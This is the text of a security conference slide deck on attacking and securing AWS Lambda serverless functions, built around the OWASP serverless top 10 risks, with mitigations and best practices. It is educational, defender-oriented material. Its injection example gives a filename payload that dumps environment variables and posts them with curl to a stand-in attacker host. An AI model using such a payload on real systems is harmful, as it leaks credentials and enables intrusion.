Serverless Under Siege Hacking AWS Lambda functions and beyond Sankalp Sandeep Paranjpe

Whoami DevSecOps Engineer Ex-AWS Cloud Club Captain 2024 Graduate Cloud security and DevSecOps Enthusiast Sankalp Sandeep Paranjpe

AGENDA Introduction OWASP Top 10 Serverless Risks Walkthrough - exploiting Injection vulnerability Best Practices

The Double-Edged Sword of Serverless

Serverless Security Risks 1) Increased Attack Surfaces 2) Security Misconfiguration and exposed endpoints 3) The Threat of Over-Privileged Functions 4) Overall system complexity and many more

TOP 10 Serveless Risks 1 2 3 4 5 Injections Broken Authentication Broken Access Control Insecure Deserialization Sensitive Data Disclosure Security Misconfigurations Cross Site Scripting DoS and resource exhaustion Insecure 3rd Party Dependencies Insufficient Monitoring & Logging 9 10 6 7 8 Insecure Deserialization

Event Sources in Serverless Following are the event sources, which can trigger the execution of an AWS Lambda function. Amazon S3 Data Events Database events AWS Kinesis Stream processing events IoT device telemetry signals Code changes and new repository code commits HTTP API calls Message queue events SMS message notifications, PUSH notifications etc.

The most common types of injection flaws in serverless architectures are presented below - Operating System (OS) command injection Function runtime code injection (e.g. Node.js/JavaScript, Python, Java, C#, Golang) SQL injection NoSQL injection Pub/Sub Message Data Tampering (e.g. MQTT data Injection) XML External Entity (XXE) Injections

Event Data Injection Attacks Use Case : Resume Analytics

foobar;env|curl -H "Content-Type: text/plain" -X POST -d @- http://attacker.site/collector #.pdf

MITIGATION Never trust input or make any assumptions about its validity Never pass user input directly to any interpreter without first validating and sanitizing it Make sure that your code always runs with the minimum privileges required to perform its task If you apply threat modeling in your development lifecycle, make sure that you consider all possible event types and entry points into the system. Do not assume that input can only arrive from the expected event trigger

Broken Authentication

Mitigations Developers should use a Single Sign-On or Cognito Service instead of building their own authentication schemes. For non-interactive user authentication, such as APIs, secure API keys, SAML assertions, or Client-Side Certificates should be used. Use of MFA.

Broken Access Control Imagine a serverless application, which exposes a set of public APIs, all of which enforce proper authentication. At the other end of the system, the application reads files from a cloud storage service, where file contents are consumed as input to certain lambda functions. If proper authentication is not applied on the cloud storage service, the system is exposing an unauthenticated rogue entry point, which was not taken into consideration during system design.

Broken Access Control Misconfigured IAM Policy Secure IAM Policy

If the function is found vulnerable, an attacker could exploit it to perform unauthorized access, including: Unauthorized actions on the specific bucket, such as reading and/or deleting other users orders or uploading unvalidated files. Deleting other storages in the account, even outside of the feature/application scope. Executing internal functionality, such as executing functions with malicious input which are triggered by events. Denial of Wallet (DoW) via cost-consuming actions. Broken Access Control

Sensitive Data Exposure

There are so many Lamdba function ---> Each require secrets---> Hardcodes or Any repositories?

No content

Insecure 3rd Party Dependencies In the general case, a lambda function should be a small piece of code that performs a single discrete task. Oftentimes, in order to perform this task, the lambda function will be required to depend on third party software packages, open source libraries and even consume 3rd party remote web services through API calls. Keep in mind that even the most secure lambda function can become vulnerable when importing code from a vulnerable 3rd party dependency.

Mitigations Maintain inventory of software packages and versions Scan for vulnerable dependencies Remove unnecessary dependencies Use trustworthy sources for 3rd party packages Upgrade to latest package versions and apply patches to ensure security

Dos and resource exhaution

Mitigations Use API Gateway to set rate limits and throttle requests per user or per API key. Apply concurrency limits on Lambda functions to control the maximum number of instances that can run simultaneously, preventing resource exhaustion. Use Firewall to filter the malicious reuests

AWS Lambda Multipart Parser vulnerable to ReDos

Walkthrough: exploiting injection vulnerability

Hacked, now what?

Security in AWS Lambda

Use API Gateways as Security Buffers Data Separation & Secure Configs Minimize Function Roles Ensure Secure Dependencies Monitoring and Logging Best Practices Dealing with Insecure Authentication Secure Credentials Management Secure Development Lifecycle Incident Response Plan

No content

Refernces and Credits AWS Whitepapers AWS Official Documentations OWASP Documentation OWASP Serverless Goat Application Repo Puresec Github Repo https://blog.appsecco.com/hacking-aws-lambda-for- security-fun-and-profit-c140426b6167

Thank You! Contact me at: https://x.com/SankalpParanjpe https://sankalpparanjpe.com https://www.linkedin.com/in/sankalp-s-paranjpe/